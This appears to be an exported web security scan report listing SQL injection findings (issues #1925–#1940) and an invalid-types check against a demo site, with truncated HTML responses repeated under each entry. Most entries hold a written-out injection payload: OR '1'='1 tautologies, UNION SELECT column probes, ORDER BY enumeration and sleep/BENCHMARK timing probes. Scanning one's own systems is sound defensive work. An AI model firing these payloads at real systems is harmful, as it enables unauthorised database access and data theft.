hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1925
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# admin') or '1'='1
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1926Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# admin" #
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1927
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1928
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 9--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1929
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 1#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1930
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# 1 or sleep(5)#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89Issue Number #1931
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT @@VERSION,USER(),SLEEP(5),
BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1932
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 27
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1933
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# benchmark(10000000,MD5(1))
#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1934
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
DemoUser1# ') or sleep(5)='
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1935
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessaryAlerts hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1936
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# HAVING 1=1--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1937
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# or pg_SLEEP(5)
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1938
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# admin') or ('1'='1'/*
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1939
Scan SQL Injection
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1940
Invalid Types
An Invalid Types Scan tries to confuse the system under test by deliberately inserting incorrectly 
typed data into your parameters, for example, a string containing letters into a numeric field.
Alerts usually indicate that you need to improve input validation and error handling.
Scan Invalid Types
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.iotrue
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
